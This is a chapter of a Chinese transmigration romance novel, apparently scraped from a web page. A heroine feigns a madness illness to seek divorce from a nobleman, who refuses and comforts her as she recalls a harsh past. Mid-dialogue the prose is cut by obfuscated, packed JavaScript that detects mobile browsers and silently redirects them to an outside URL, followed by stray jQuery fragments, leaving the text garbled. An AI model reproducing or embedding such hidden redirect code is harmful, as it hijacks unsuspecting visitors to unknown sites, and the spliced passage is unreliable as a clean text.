“咣当”一声,苏清鸢手中筷子掉落地上,秋莲和方竹瞪圆了眼想上前劝,被陆元昭凌厉的眼神吓的呆在原地。
陆元昭抬眸打量他们:“你们出去。”
两人忙不迭小跑出了房门,留下被陆元昭强硬动作禁锢在屋内的苏清鸢。
秋莲拍拍胸口:“世子怎发这么大的火,我觉得小夫人人很好啊。”
方竹点头表示赞同,也不知陆元昭为何生气,他一生气脸色阴沉沉的,还是躲远点的好。
房内,陆元昭审视了她片刻,冷冷道:“我已将他们支使出去,你可与我说实话,看在你救过我的份上,即便不是苏清鸢我也……”
他也不会伤害她的……
但他话音未落,苏清鸢猛地从陆元昭手里挣脱,她不动声色掩住发颤的指尖,只一瞬,就有了对策。
她装作沉思的模样,等了半晌,幽幽开口:“你可知——癫狂症?”
陆元昭愣住。
“你的意思是说,你是……”
苏清鸢反应极快,衣袖之下狠狠拧了一把胳膊,疼的她眼泪汪汪。
她小声啜泣,说话时还带了鼻音:“我瞒了你,我其实……身患癫狂症。”
她捏着衣袖半捂脸,滴溜溜偷瞥一眼陆元昭,见他还是面无表情,随后更是哭的梨花带雨。
“我知道是我不对,你对我这么好,我……我对不住你,如今我身患奇症,不愿拖累你,不如你我和离……”
苏清鸢边假哭边嚷,她偷偷眯眼观陆元昭的反应。
被他发现一次两次还能糊弄,时日久了破绽只会更多,虽然眼下时机不适,但也是没办法的办法,和离之后就不会和他有什么交集。
再怎么总比被他发现秘密好。
苏清鸢脑海飞速转动,和离前要不要找兰妃救济一下,眼下和离她连住的地方都没,兰妃宫中能住几日,但终归不是长久之计。
啧,说到底还是得有银子傍身,当初嫁进宁王府,兰妃是给过她一笔银子的,就连宁王府发给她的也有月银,但她穿到“苏清鸢”身上,自然也要帮她照顾家人,所以那些银两都被她塞给秋莲打点用了。
忽然,一阵强劲的力道朝她拥来。
她被陆元昭健硕的臂弯抱了满怀,那双骨节分明修长匀称的手揽过她的腰身,一点点收紧,力道大的她喘不过来气。
苏清鸢瞳孔微缩。
两人离得委实太近,她甚至能听到他心脏扑通扑通的跳动。
这个距离,苏清鸢能清晰闻到他身上淡淡的雪松香,明明这香夹杂了一丝香草气息,本应清冷安神,但这一刻两人竟都有些躁动。
不知是身体还是心。
苏清鸢轻咬下唇,僵持着不敢乱动,陆元昭这是做什么?
空气中夹杂他身上的雪松香,萦绕在她鼻尖,屋内红烛噼啪作响,时间都仿佛凝固。
好半晌,苏清鸢才逐渐找回声音,她杏眸轻颤,蜷了蜷手指,“你,这是做什么?”
陆元昭没回她,抱着她的手收的更紧了。
苏清鸢试图从他身上离开,但他的力道对她来说实在太大,让她动弹不得。
“你先松手,我喘不过来气了。”
说完,苏清鸢抬起细瘦的手腕往前推他,推拒间还咳嗽几声,陆元昭总算松了手,划她的背给她顺气。
“对不住,对不住。”
陆元昭一边给她顺气,一边低声道歉。
“你,刚刚,干嘛?”
苏清鸢不禁回想,方才她没来得及反应他就扑上来了。
陆元昭眼底晦暗不明,他垂眸:“我实在没想到是这个原因,你竟然……罢了,刚刚是不是拽疼了你?”
陆元昭听她说是癫狂症,不敢细究她在岭南究竟遭遇什么,他是世子,在朝参与朝政自然有所耳闻,岭南,沧州,这些都是苦寒之地。
流放地犯人常年劳作不得歇息,还会被官差衙役动辄打骂。
苏家抄家时她才16,两人只有几面之缘,关系不算亲近,但他还记得一次街上偶遇,她拉着苏夫人的手笑意晏晏的撒娇,脸上写满了天真烂漫几个字,嗓音也带着闺阁女儿家特有的软糯。
当时只道是寻常,如今她在岭南呆了半年,回京后竟身患癫狂症,着实是感慨……也心疼。
苏清鸢转悠眼珠,看来陆元昭是信了这个鬼说辞。
“那,和离之事……?”
苏清鸢还没忘呢,她得赶紧脱身,以免这癫狂症再被他看破了,这些日子是她大意了,王府的日子逍遥快活,她放松了警惕,而她的警戒心都在与王府众人关系更近后消失殆尽。
癫狂症,其实就是现代的双重人格,与陆元昭所说的性格大变简直是百分百符合。
刚刚真是吓死她了,那只紧紧抓住她的属于他的手,让她挣脱不开。
啧,苏清鸢垂首看去,方才被陆元昭抓住的地方起了印子,还带了些许疼。
陆元昭面容绷紧,他嘴唇动了动:“你既身患奇症,留在这里岂不更好养病?”
苏清鸢翘起的嘴角登时僵住。
这大哥知道自己在说什么吗?
不对啊,这门婚事又不是你自愿的,你坚持个什么劲?
我都说我有癫狂症了,你还不赶紧趁机和离,再去追你的未婚妻!
苏清鸢眼神闪过一抹精光,她擦擦眼角的泪,“世子,这门婚事本就非你我所愿,我也不愿拖累你,还请你放我一纸和离书,你的未婚妻还在等你呢。”
陆元昭听到最后,嘴角抽了抽:“我与姜府姑娘婚约早已作废,算不得数,你莫再提此事,深闺女子最忌名声有损,此话若传到外头,岂不让人白白受牵连。另,宁王府皇亲国戚家大业大,更不怕你拖累。”
苏清鸢:“……”
陆元昭怎么不按剧本走?
“可我……”
陆元昭极快打断她:“妻子生病就抛弃,这不是畜牲是什么?我再混账也万万不能做出这等丧良心的事。”
苏清鸢听他说的话跟着点点头,觉得他说的真是有道理,不过……她怎么也算不上是他的妻子吧?
她还想再说,陆元昭嘴唇抿成一条线,在她开口前伸出食指堵住她的唇瓣:“这件事我不会答应,你趁早死了这条心吧。”
苏清鸢:“……”
不,这剧本对吗?
对吗?
屋内再次沉默下来。
半晌,陆元昭提起:“你的病,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227200|162754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我会尽全力找大夫去医,你莫要担心,我绝不抛下你。”
苏清鸢莫名的红了眼,虽然明白陆元昭是纸片人,是书中人,可是……她脑中一闪而过前世父母指责的画面。
“怎么又生病,你这体弱多病的,我们哪里养得起?”
“家里实在没钱,你要不……辍学打工吧?也算锻炼身体,你看看你这副身子,体质太弱。”
“再让我多上几年学不行吗?”
“爸妈实在负担不起,你就懂事一点,多为我们着想着想?”
“负担不起?可是你们还送哥哥上补习班兴趣班,送他学美术艺考!”
“我恨你们,恨你们,永远!”
她一直以为,生病,体弱,不能帮上忙的人就是拖累,是累赘,是不配得到爱的。
可是陆元昭说什么?
他说全力去找能医治她的大夫,说不会抛下她,这让她……怎么能不感动呢?
苏清鸢嘴唇颤动,嗓音哽咽:“那如果……要花很多很多钱,多到拖累宁王府到倾家荡产的地步,你还会做这种选择吗?”
陆元昭没说话。
苏清鸢冷笑一声,果然啊,人都是一样的……虚伪!
她转身就要离开,陆元昭轻轻拉住她的衣袖:“钱没了可以再赚,人没了可就真的没了,你便是让我赔的血本无归,我也甘心。”
“大夫不行就找太医,太医看不好就张贴告示为你全天下去寻,总能寻到的。”
“怎么不说话,是不是害怕?”
苏清鸢眼珠轻轻往上看,想尽全力去掩饰要哭出来的模样,可陆元昭好似发觉了她的小心思。
他将她抱在怀里,又用手扶着她的头抵在他的胸口,“想哭就哭出来,我不看,也不会笑话你。”
或许苏清鸢实在太苦,苦到只有一丝甜就仿佛得到了全世界。
不知是想起前世让她现在处于最脆弱的时候,还是因为陆元昭衣物上带的淡淡的雪松香击溃她的心防,总之,这是她来到这个朝代以来,唯一一次被触动心灵放声痛哭。
为什么,为什么所有人都幸福,只有我这么苦?
我什么都没做错,为什么这么待我?
辱骂,挨打,冰冷的洗碗水,与油渍混合一起的洗洁精,嫌弃的表情,被当做累赘像踢皮球似的踢来踢去的人生。
她不是冰冷的机器,她是人,是一个活生生的人,她也有心。
只是那颗心早在看透亲情与婚姻时被冰封。
生而为女有什么错?
体弱多病有什么罪?
因为不被爱,所以小心翼翼了一年又一年,封起的心不是真的冰冷无情,而是画地为牢建起高楼大厦抵挡所有试图窥探的自保。
只有这一刻,她觉得世人也有心,她也想醉一回,就这一回。
泪眼模糊中,她发觉醉翁椅上搁了件女式披风,她擦擦泪,眼睛都亮了,略微打嗝,问:“那是谁的?好漂亮。”
她离开陆元昭的怀抱,去摸了摸那件淡嫩黄色披风。
“你想要?明日我让掌柜给你再做一件。”
“那我要自己去拿给掌柜,亲手。”
陆元昭盈盈一笑:“你想的,都可以。”